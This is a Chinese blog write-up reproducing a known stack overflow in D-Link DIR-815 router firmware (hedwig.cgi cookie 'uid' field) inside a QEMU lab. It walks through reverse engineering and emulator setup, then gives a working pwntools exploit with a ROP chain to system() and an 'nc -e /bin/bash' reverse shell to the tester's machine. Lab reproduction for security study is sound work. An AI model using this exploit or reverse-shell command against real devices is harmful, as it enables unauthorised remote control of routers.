DIR-815 栈溢出漏洞复现

DIR-815 栈溢出漏洞复现

官方漏洞报告:https://www.cnvd.org.cn/flaw/show/CNVD-2013-11625

image

固件下载地址:https://ftp.dlink.ru/pub/Router/DIR-815/Firmware/

逆向分析

binwalk 解压固件:binwalk -Me DIR-815\ FW\ 1.01b14_1.01b14.bin​,找到 /htdocs/web/hedwig.cgi

image

逆向分析cgibin​,找到 hedwigcgi_main

image

从环境变量中获取 HTTP 请求方法是否为 POST

image

cgibin_parse_request​这个函数会对url先进行解析,然后将POST的内容读入进来,再通过sub_409A6C函数进行解析。cgibin_parse_request​读取几个环境变量。

image

接着看 sess_get_uid​函数,获取当前用户的唯一标识符(UID)

image获取环境变量HTTP_COOKIE​:

image

=​前面的内容被存入了v2​,后面的内容被存入了v4​,最后会对v2​中的内容进行一个判断:

image

判断是否为 uid

image

string​就是v4​中的字符串,也就是cookieuid=之后的内容,是可以由用户自由控制的,然而v27​数组的大小仅有1024​,因此,很容易造成缓冲区溢出。

image

sprintf​将string​和字符串拼接,放入到v27变量中,并未对长度进行检查。,发现v4在两个sprintf之间未被改变过,这里的string​仍然是cookie​中uid=​后面的字符串,如果能走到这第二个sprintf​的话,那么这里才是真正的溢出漏洞点,因为仍然是v27​数组的溢出,两次拼接的字符串又一样,所以这里能覆盖上一次sprintf​的内容。

image

尝试打开文件 /var/tmp/temp.xml,如果不存在就跳转到退出函数,如果文件存在,所以我们需要创建一个/var/tem文件夹。

第二个判断haystack​的值在这之前只有cgibin_parse_request​的第一个参数sub_409A6C​中可对其操作

image

image

再回到cgibin_parse_request​函数中,要走到读入POST​内容的那里,就必须要使得v9!=-1才行,再往cgibin_parse_request函数上面看看:

image

因此,环境变量REQUEST_URI中也必须有内容才行,这里环境变量CONTENT_TYPE​仍然是老规矩application/x-www-form-urlencoded​。

满足了以上条件,就能顺利地走到第二个sprintf​了,也就是真机环境中真正的栈溢出漏洞点

qemu 环境搭建

查看 bin/busybox :

➜  bin file busybox  
busybox: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, stripped

32位mips小端

首先在var下创建一个tmp文件夹。

使用qemu-system-mipsel从系统角度进行模拟,就需要一个mips架构的内核镜像和文件系统。可以在如下网站下载:

Index of /~aurel32/qemu/mipsel

下载其中的vmlinux-3.2.0-4-4kc-malta内核以及debian_squeeze_mipsel_standard.qcow2镜像文件。

wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta

wget https://people.debian.org/~aurel32/qemu/mipsel/debian_squeeze_mipsel_standard.qcow2

创建一个 start.sh:

sudo qemu-system-mipsel \
    -M malta -kernel vmlinux-3.2.0-4-4kc-malta \
    -hda debian_squeeze_mipsel_standard.qcow2 \
    -append "root=/dev/sda1 console=tty0" \
    -nographic \
    -net nic,macaddr=00:16:3e:00:00:01 \
    -net tap,ifname=tap0,script=no,downscript=no

image

之后./start.sh 启动,并输入root/root,我这里没有ip地址,按如下配置我手动添加了 ip:

root@debian-mipsel:~# ip addr add 192.168.164.100/24 dev eth1
root@debian-mipsel:~# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
2: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
    link/ether 00:16:3e:00:00:01 brd ff:ff:ff:ff:ff:ff
    inet 192.168.164.100/24 scope global eth1
root@debian-mipsel:~# ip route add default via 192.168.164.1
root@debian-mipsel:~# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
2: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
    link/ether 00:16:3e:00:00:01 brd ff:ff:ff:ff:ff:ff
    inet 192.168.164.100/24 scope global eth1

将squashfs-root的路由器配置文件上传到qemu仿真机里。这里的IP 是仿真机的ip

scp -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa -r ./squashfs-root root@192.168.207.120:/root/squashfs-root

image

这里 没有开启 80端口:

➜  mipsel nmap 192.168.164.147                  
Starting Nmap 7.80 ( https://nmap.org ) at 2025-06-16 21:00 CST
Nmap scan report for 192.168.164.147
Host is up (0.012s latency).
Not shown: 998 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
111/tcp open  rpcbind

Nmap done: 1 IP address (1 host up) scanned in 10.38 seconds

root@debian-mipsel:~/squashfs-root# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
2: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
    link/ether 00:16:3e:00:00:01 brd ff:ff:ff:ff:ff:ff
    inet 192.168.164.147/24 brd 192.168.164.255 scope global eth1

在qemu虚拟机的squashfs-root目录下新建一个http_conf配置文件,nano http_conf

里面写入如下内容:

Umask 026
PIDFile /var/run/httpd.pid
LogGMT On  #开启log
ErrorLog /log #log文件

Tuning
{
    NumConnections 15
    BufSize 12288
    InputBufSize 4096
    ScriptBufSize 4096
    NumHeaders 100
    Timeout 60
    ScriptTimeout 60
}

Control
{
    Types
    {
        text/html    { html htm }
        text/xml    { xml }
        text/plain    { txt }
        image/gif    { gif }
        image/jpeg    { jpg }
        text/css    { css }
        application/octet-stream { * }
    }
    Specials
    {
        Dump        { /dump }
        CGI            { cgi }
        Imagemap    { map }
        Redirect    { url }
    }
    External
    {
        /usr/sbin/phpcgi { php }
    }
}


Server
{
    ServerName "Linux, HTTP/1.1, "
    ServerId "1234"
    Family inet
    Interface eth1  #对应qemu仿真路由器系统的网卡
    Address 192.168.207.120 #qemu仿真路由器系统的IP
    Port "80" #对应未被使用的端口
    Virtual
    {
        AnyHost
        Control
        {
            Alias /
            Location /htdocs/web
            IndexNames { index.php }
            External
            {
                /usr/sbin/phpcgi { router_info.xml }
                /usr/sbin/phpcgi { post_login.xml }
            }
        }
        Control
        {
            Alias /HNAP1
            Location /htdocs/HNAP1
            External
            {
                /usr/sbin/hnap { hnap }
            }
            IndexNames { index.hnap }
        }
    }
}

物理机上/tools/mipsel新建init.sh,写入下面配置。

#! /bin/sh
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT

chmod 777 init.sh

./init.sh​ 运行脚本即可。

qemu​虚拟机的squashfs-root​目录下创建init.sh​的脚本进行初始化操作:

nano init.sh​,写入下面这些配置

#!/bin/bash
echo 0 > /proc/sys/kernel/randomize_va_space
cp http_conf /
cp sbin/httpd /
cp -rf htdocs/ /
mkdir /etc_bak
cp -r /etc /etc_bak
rm /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so  /lib/
cp lib/libcrypt-0.9.30.1.so  /lib/
cp lib/libc.so.0  /lib/
cp lib/libgcc_s.so.1  /lib/
cp lib/ld-uClibc.so.0  /lib/
cp lib/libcrypt.so.0  /lib/
cp lib/libgcc_s.so  /lib/
cp lib/libuClibc-0.9.30.1.so  /lib/
cd /
rm -rf /htdocs/web/hedwig.cgi
rm -rf /usr/sbin/phpcgi
rm -rf /usr/sbin/hnap
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s  /htdocs/cgibin /usr/sbin/hnap
./httpd -f http_conf

注:echo 0 > /proc/sys/kernel/randomize_va_space关闭地址随机化

然后在qemu里运行./init.sh

在qemu虚拟机的squashfs-root目录下创建fin.sh的脚本进行初始化操作:

nano fin.sh,写入下面这些配置

#!/bin/bash
rm -rf /etc
mv /etc_bak/etc /etc
rm -rf /etc_bak

已经可以正常访问

image

exp

下载gdbserver.mipsle:embedded-tools/binaries/gdbserver at master · rapid7/embedded-tools

将gdbserver.mipsle上传到qemu的squashfs-root文件夹内:

scp -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedAlgorithms=+ssh-rsa \
-r ./gdbserver.mipsle root@192.168.164.147:/root/squashfs-root

qemu​中/root/squashfs-root/​用新建run.sh​脚本启动:

nano run.sh

写入下面配置:

#!/bin/bash
export CONTENT_LENGTH="11"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat payload`"
export REQUEST_METHOD="POST"
export REQUEST_URI="2333"
#echo "winmt=pwner"|./gdbserver.mipsel 192.168.164.139:6666 /htdocs/web/hedwig.cgi
echo "winmt=pwner"|/htdocs/web/hedwig.cgi
unset CONTENT_LENGTH
unset CONTENT_TYPE
unset HTTP_COOKIE
unset REQUEST_METHOD
unset REQUEST_URI

注:

#echo "winmt=pwner"|./gdbserver.mipsel 192.168.10.60:6666 /htdocs/web/hedwig.cgi

这一行代码是与gdb-multiarch调试的时候开启。
192.168.164.139 为ubuntu的地址,`6666`是自己设置的连接的端口,直接用gdb-multiarch设置好架构后,用target remote 192.168.10.67:6666连上即可。其中192.168.10.67为qemu的地址。

/mipsel/​里新建exp.py

python3 exp.py 生成payload

from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')

# 这里ip是ubuntu的ip地址,端口8888,进行监听
cmd = b'nc -e /bin/bash 192.168.164.139 8888'
 
libc_base = 0x77f34000
 
payload = b'a'*0x3cd
payload += p32(libc_base + 0x53200 - 1) # s0  system_addr - 1
payload += p32(libc_base + 0x169C4) # s1  addiu $s2, $sp, 0x18 (=> jalr $s0)
payload += b'a'*(4*7)
payload += p32(libc_base + 0x32A98) # ra  addiu $s0, 1 (=> jalr $s1)
payload += b'a'*0x18
payload += cmd
 
fd = open("payload", "wb")
fd.write(payload)
fd.close()

将payload上传到 qemu仿真机

scp -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedAlgorithms=+ssh-rsa \
-r ./payload root@192.168.164.147:/root/squashfs-root

然后在宿主机里新建一个终端,进行端口监听,等待反弹shel

在qemu中squashfs-root里,执行刚才新建的run.sh在ubuntu可以见到已经成功反弹了shell,并可执行命令。

image

参考文章:

[原创] 从零开始复现 DIR-815 栈溢出漏洞-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com

从零到一:复现 DIR-815 栈溢出漏洞_dir815漏洞复现-CSDN博客

posted @ 2025-06-16 22:12  cosyQAQ  阅读(150)  评论(0)    收藏  举报